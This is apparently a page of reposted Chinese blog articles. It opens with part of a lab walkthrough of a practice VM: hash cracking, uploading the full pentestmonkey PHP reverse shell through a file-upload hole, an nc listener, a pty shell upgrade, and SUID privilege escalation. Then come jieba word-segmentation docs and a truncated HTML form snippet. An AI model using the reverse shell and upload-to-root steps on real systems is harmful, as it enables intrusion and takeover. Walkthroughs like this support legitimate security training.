国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
...典格式和 dict.txt 一样,一个词占一行;每一行分三部分:词语、词频(可省略)、词性(可省略),用空格隔开,顺序不可颠倒。file_name 若为路径或二进制方式打开的文件,则文件必须为 UTF-8 编码。 词频省略时使用自动计算的能保证分出该词的词频。 例如: 创新办 3 i云计算 5凱特琳 nz台中 更改分词器(默认为 jieba.dt)的 tmp_dir 和 cache_file 属性,可分别指定缓存文件所在的文件夹及其文件名,用于受限的文件系统。 范例: 自定义词典:https://github.com/fxsjy/jieba/blob/master/test/userdict.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_userdict.py 之前: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 / 加载自定义词库后: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / 调整词典 使用 add_word(word, freq=None, tag=None) 和 del_word(word) 可在程序中动态修改词典。 使用 suggest_freq(segment, tune=True) 可调节单个词语的词频,使其能(或不能)被分出来。 注意:自动计算的词频在使用 HMM 新词发现功能时可能无效。 代码示例: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 “通过用户自定义词典来增强歧义纠错能力” — https://github.com/fxsjy/jieba/issues/14 关键词提取 基于 TF-IDF 算法的关键词抽取 import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence 为待提取的文本 topK 为返回几个 TF/IDF 权重最大的关键词,默认值为 20 withWeight 为是否一并返回关键词权重值,默认值为 False allowPOS 仅包括指定词性的词,默认值为空,即不筛选 jieba.analyse.TFIDF(idf_path=None) 新建 TFIDF 实例,idf_path 为 IDF 频率文件 代码示例 (关键词提取) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py 关键词提取所使用逆向文件频率(IDF)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_idf_path(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py 关键词提取所使用停止词(Stop Words)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_stop_words(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py 关键词一并返回关键词权重值示例 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_with_weight.py 基于 TextRank 算法的关键词抽取 jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=(‘ns’, ‘n’, ‘vn’, ‘v’)) 直接使用,接口相同,注意默认过滤词性。 jieba.analyse.TextRank() 新建自定义 TextRank 实例 算法论文: TextRank: Bringing Order into Texts 基本思想: 将待抽取关键词的文本进行分词 以固定窗口大小(默认为5,通过span属性调整),词之间的共现关系,构建图 计算图中节点的PageRank,注意是无向带权图 使用示例: 见 test/demo.py 词性标注 jieba.posseg.POSTokenizer(tokenizer=None) 新建自定义分词器,tokenizer 参数可指定内部使用的 jieba.Tokenizer 分词器。jieba.posseg.dt 为默认词性标注分词器。 标注句子分词后每个词的词性,采用和 ictclas 兼容的标记法。 除了jieba默认分词模式,提供paddle模式下的词性标注功能。paddle模式采用延迟加载方式,通过enable_paddle()安装paddlepaddle-tiny,并且import相关代码; 用法示例 >>> import jieba>>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门") jieba默认模式>>> jieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持>>> words = pseg.cut("我爱北京天安门",use_paddle=True) paddle模式>>> for word, flag in words:... print('%s %s' % (word, flag))...我 r爱 v北京 ns天安门 ns paddle模式词性标注对应表如下: paddle模式词性和专名类别标签集合如下表,其中词性标签 24 个(小写字母),专名类别标签 4 个(大写字母)。 标签 含义 标签 含义 标签 含义 标签 含义 n 普通名词 f 方位名词 s 处所名词 t 时间 nr 人名 ns 地名 nt 机构名 nw 作品名 nz 其他专名 v 普通动词 vd 动副词 vn 名动词 a 形容词 ad 副形词 an 名形词 d 副词 m 数量词 q 量词 r 代词 p 介词 c 连词 u 助词 xc 其他虚词 w 标点符号 PER 人名 LOC 地名 ORG 机构名 TIME 时间 并行分词 原理:将目标文本按行分隔后,把各行文本分配到多个 Python 进程并行分词,然后归并结果,从而获得分词速度的可观提升 基于 python 自带的 multiprocessing 模块,目前暂不支持 Windows 用法: jieba.enable_parallel(4) 开启并行分词模式,参数为并行进程数 jieba.disable_parallel() 关闭并行分词模式 例子:https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py 实验结果:在 4 核 3.4GHz Linux 机器上,对金庸全集进行精确分词,获得了 1MB/s 的速度,是单进程版的 3.3 倍。 注意:并行分词仅支持默认分词器 jieba.dt 和 jieba.posseg.dt。 Tokenize:返回词语在原文的起止位置 注意,输入参数只接受 unicode 默认模式 result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 搜索模式 result = jieba.tokenize(u'永和服装饰品有限公司', mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh 搜索引擎 引用: from jieba.analyse import ChineseAnalyzer 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py 命令行分词 使用示例:python -m jieba news.txt > cut_result.txt 命令行选项(翻译): 使用: python -m jieba [options] filename结巴命令行界面。固定参数:filename 输入文件可选参数:-h, --help 显示此帮助信息并退出-d [DELIM], --delimiter [DELIM]使用 DELIM 分隔词语,而不是用默认的' / '。若不指定 DELIM,则使用一个空格分隔。-p [DELIM], --pos [DELIM]启用词性标注;如果指定 DELIM,词语和词性之间用它分隔,否则用 _ 分隔-D DICT, --dict DICT 使用 DICT 代替默认词典-u USER_DICT, --user-dict USER_DICT使用 USER_DICT 作为附加词典,与默认词典或自定义词典配合使用-a, --cut-all 全模式分词(不支持词性标注)-n, --no-hmm 不使用隐含马尔可夫模型-q, --quiet 不输出载入信息到 STDERR-V, --version 显示版本信息并退出如果没有指定文件名,则使用标准输入。 --help 选项输出: $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. 延迟加载机制 jieba 采用延迟加载,import jieba 和 jieba.Tokenizer() 不会立即触发词典的加载,一旦有必要才开始加载词典构建前缀字典。如果你想手工初始 jieba,也可以手动初始化。 import jiebajieba.initialize() 手动初始化(可选) 在 0.28 之前的版本是不能指定主词典的路径的,有了延迟加载机制后,你可以改变主词典的路径: jieba.set_dictionary('data/dict.txt.big') 例子: https://github.com/fxsjy/jieba/blob/master/test/test_change_dictpath.py 其他词典 占用内存较小的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small 支持繁体分词更好的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big 下载你所需要的词典,然后覆盖 jieba/dict.txt 即可;或者用 jieba.set_dictionary('data/dict.txt.big') 其他语言实现 结巴分词 Java 版本 作者:piaolingxue 地址:https://github.com/huaban/jieba-analysis 结巴分词 C++ 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/cppjieba 结巴分词 Rust 版本 作者:messense, MnO2 地址:https://github.com/messense/jieba-rs 结巴分词 Node.js 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/nodejieba 结巴分词 Erlang 版本 作者:falood 地址:https://github.com/falood/exjieba 结巴分词 R 版本 作者:qinwf 地址:https://github.com/qinwf/jiebaR 结巴分词 iOS 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/iosjieba 结巴分词 PHP 版本 作者:fukuball 地址:https://github.com/fukuball/jieba-php 结巴分词 .NET(C) 版本 作者:anderscui 地址:https://github.com/anderscui/jieba.NET/ 结巴分词 Go 版本 作者: wangbin 地址: https://github.com/wangbin/jiebago 作者: yanyiwu 地址: https://github.com/yanyiwu/gojieba 结巴分词Android版本 作者 Dongliang.W 地址:https://github.com/452896915/jieba-android 友情链接 https://github.com/baidu/lac 百度中文词法分析(分词+词性+专名)系统 https://github.com/baidu/AnyQ 百度FAQ自动问答系统 https://github.com/baidu/Senta 百度情感识别系统 系统集成 Solr: https://github.com/sing1ee/jieba-solr 分词速度 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode 测试环境: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 常见问题 1. 模型的数据是如何生成的? 详见: https://github.com/fxsjy/jieba/issues/7 2. “台中”总是被切成“台 中”?(以及类似情况) P(台中) < P(台)×P(中),“台中”词频不够导致其成词概率较低 解决方法:强制调高词频 jieba.add_word('台中') 或者 jieba.suggest_freq('台中', True) 3. “今天天气 不错”应该被切成“今天 天气 不错”?(以及类似情况) 解决方法:强制调低词频 jieba.suggest_freq(('今天', '天气'), True) 或者直接删除该词 jieba.del_word('今天天气') 4. 切出了词典中没有的词语,效果不理想? 解决方法:关闭新词发现 jieba.cut('丰田太省了', HMM=False) jieba.cut('我们中出了一个叛徒', HMM=False) 更多问题请点击:https://github.com/fxsjy/jieba/issues?sort=updated&state=closed 修订历史 https://github.com/fxsjy/jieba/blob/master/Changelog jieba “Jieba” (Chinese for “to stutter”) Chinese text segmentation: built to be the best Python Chinese word segmentation module. Features Support three types of segmentation mode: Accurate Mode attempts to cut the sentence into the most accurate segmentations, which is suitable for text analysis. Full Mode gets all the possible words from the sentence. Fast but not accurate. Search Engine Mode, based on the Accurate Mode, attempts to cut long words into several short words, which can raise the recall rate. Suitable for search engines. Supports Traditional Chinese Supports customized dictionaries MIT License Online demo http://jiebademo.ap01.aws.af.cm/ (Powered by Appfog) Usage Fully automatic installation: easy_install jieba or pip install jieba Semi-automatic installation: Download http://pypi.python.org/pypi/jieba/ , run python setup.py install after extracting. Manual installation: place the jieba directory in the current directory or python site-packages directory. import jieba. Algorithm Based on a prefix dictionary structure to achieve efficient word graph scanning. Build a directed acyclic graph (DAG) for all possible word combinations. Use dynamic programming to find the most probable combination based on the word frequency. For unknown words, a HMM-based model is used with the Viterbi algorithm. Main Functions Cut The jieba.cut function accepts three input parameters: the first parameter is the string to be cut; the second parameter is cut_all, controlling the cut mode; the third parameter is to control whether to use the Hidden Markov Model. jieba.cut_for_search accepts two parameter: the string to be cut; whether to use the Hidden Markov Model. This will cut the sentence into short words suitable for search engines. The input string can be an unicode/str object, or a str/bytes object which is encoded in UTF-8 or GBK. Note that using GBK encoding is not recommended because it may be unexpectly decoded as UTF-8. jieba.cut and jieba.cut_for_search returns an generator, from which you can use a for loop to get the segmentation result (in unicode). jieba.lcut and jieba.lcut_for_search returns a list. jieba.Tokenizer(dictionary=DEFAULT_DICT) creates a new customized Tokenizer, which enables you to use different dictionaries at the same time. jieba.dt is the default Tokenizer, to which almost all global functions are mapped. Code example: segmentation encoding=utf-8import jiebaseg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 默认模式seg_list = jieba.cut("他来到了网易杭研大厦")print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) Output: [Full Mode]: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学[Accurate Mode]: 我/ 来到/ 北京/ 清华大学[Unknown Words Recognize] 他, 来到, 了, 网易, 杭研, 大厦 (In this case, "杭研" is not in the dictionary, but is identified by the Viterbi algorithm)[Search Engine Mode]: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 Add a custom dictionary Load dictionary Developers can specify their own custom dictionary to be included in the jieba default dictionary. Jieba is able to identify new words, but you can add your own new words can ensure a higher accuracy. Usage: jieba.load_userdict(file_name) file_name is a file-like object or the path of the custom dictionary The dictionary format is the same as that of dict.txt: one word per line; each line is divided into three parts separated by a space: word, word frequency, POS tag. If file_name is a path or a file opened in binary mode, the dictionary must be UTF-8 encoded. The word frequency and POS tag can be omitted respectively. The word frequency will be filled with a suitable value if omitted. For example: 创新办 3 i云计算 5凱特琳 nz台中 Change a Tokenizer’s tmp_dir and cache_file to specify the path of the cache file, for using on a restricted file system. Example: 云计算 5李小福 2创新办 3[Before]: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 /[After]: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / Modify dictionary Use add_word(word, freq=None, tag=None) and del_word(word) to modify the dictionary dynamically in programs. Use suggest_freq(segment, tune=True) to adjust the frequency of a single word so that it can (or cannot) be segmented. Note that HMM may affect the final result. Example: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 Keyword Extraction import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence: the text to be extracted topK: return how many keywords with the highest TF/IDF weights. The default value is 20 withWeight: whether return TF/IDF weights with the keywords. The default value is False allowPOS: filter words with which POSs are included. Empty for no filtering. jieba.analyse.TFIDF(idf_path=None) creates a new TFIDF instance, idf_path specifies IDF file path. Example (keyword extraction) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py Developers can specify their own custom IDF corpus in jieba keyword extraction Usage: jieba.analyse.set_idf_path(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py Developers can specify their own custom stop words corpus in jieba keyword extraction Usage: jieba.analyse.set_stop_words(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py There’s also a TextRank implementation available. Use: jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=('ns', 'n', 'vn', 'v')) Note that it filters POS by default. jieba.analyse.TextRank() creates a new TextRank instance. Part of Speech Tagging jieba.posseg.POSTokenizer(tokenizer=None) creates a new customized Tokenizer. tokenizer specifies the jieba.Tokenizer to internally use. jieba.posseg.dt is the default POSTokenizer. Tags the POS of each word after segmentation, using labels compatible with ictclas. Example: >>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门")>>> for w in words:... print('%s %s' % (w.word, w.flag))...我 r爱 v北京 ns天安门 ns Parallel Processing Principle: Split target text by line, assign the lines into multiple Python processes, and then merge the results, which is considerably faster. Based on the multiprocessing module of Python. Usage: jieba.enable_parallel(4) Enable parallel processing. The parameter is the number of processes. jieba.disable_parallel() Disable parallel processing. Example: https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py Result: On a four-core 3.4GHz Linux machine, do accurate word segmentation on Complete Works of Jin Yong, and the speed reaches 1MB/s, which is 3.3 times faster than the single-process version. Note that parallel processing supports only default tokenizers, jieba.dt and jieba.posseg.dt. Tokenize: return words with position The input must be unicode Default mode result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 Search mode result = jieba.tokenize(u'永和服装饰品有限公司',mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh from jieba.analyse import ChineseAnalyzer Example: https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py Command Line Interface $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. Initialization By default, Jieba don’t build the prefix dictionary unless it’s necessary. This takes 1-3 seconds, after which it is not initialized again. If you want to initialize Jieba manually, you can call: import jiebajieba.initialize() (optional) You can also specify the dictionary (not supported before version 0.28) : jieba.set_dictionary('data/dict.txt.big') Using Other Dictionaries It is possible to use your own dictionary with Jieba, and there are also two dictionaries ready for download: A smaller dictionary for a smaller memory footprint: https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small There is also a bigger dictionary that has better support for traditional Chinese (繁體): https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big By default, an in-between dictionary is used, called dict.txt and included in the distribution. In either case, download the file you want, and then call jieba.set_dictionary('data/dict.txt.big') or just replace the existing dict.txt. Segmentation speed 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode Test Env: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 本篇文章为转载内容。原文链接:https://blog.csdn.net/yegeli/article/details/107246661。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-02 10:38:37
500
转载
转载文章
...click="getTxt();" >获取元素内容</button><hr><br><input type="text" name="inputName" class="test" value="aaa" /><input type="radio" name="rad" class="test" value="1" /> 男<input type="radio" name="rad" class="test" value="2" /> 女<button type="button" onclick="getRadio()">获取单选按钮</button><br><hr><br>全选/全不选: <input type="checkbox" id="control" onclick="checkAllOrNot()" /><button type="button" onclick= "checkFan()">反选</button><br><input type="checkbox" name= "hobby" value="sing" />唱歌<input type="checkbox" name= "hobby" value="dance" />跳舞<input type="checkbox" name= "hobby" value="rap" />说唱<button type="button" onclick="getCheckBox()">获取多选按钮</button><br><hr><br>来自:<select id="ufrom" name= "ufrom" ><option value = "" >请选择</option><option value = "Beijing" selected="selected" >北京</option><option value = "Shanghai">上海</option><option value = "Hangzhou">杭州</option></select><button type="button" onclick= "getSelect()" >获取下拉选项</button></form><script type=" text/javascript">function getTxt() {// 1. document.getElementById("id属性值");var uname = document.getElementById("uname").value;console.log(uname);// 2.表单对象.表单元表的name属性值;var pwd = document.getElementById("myform").upwd.value;console.log(pwd);// 3. 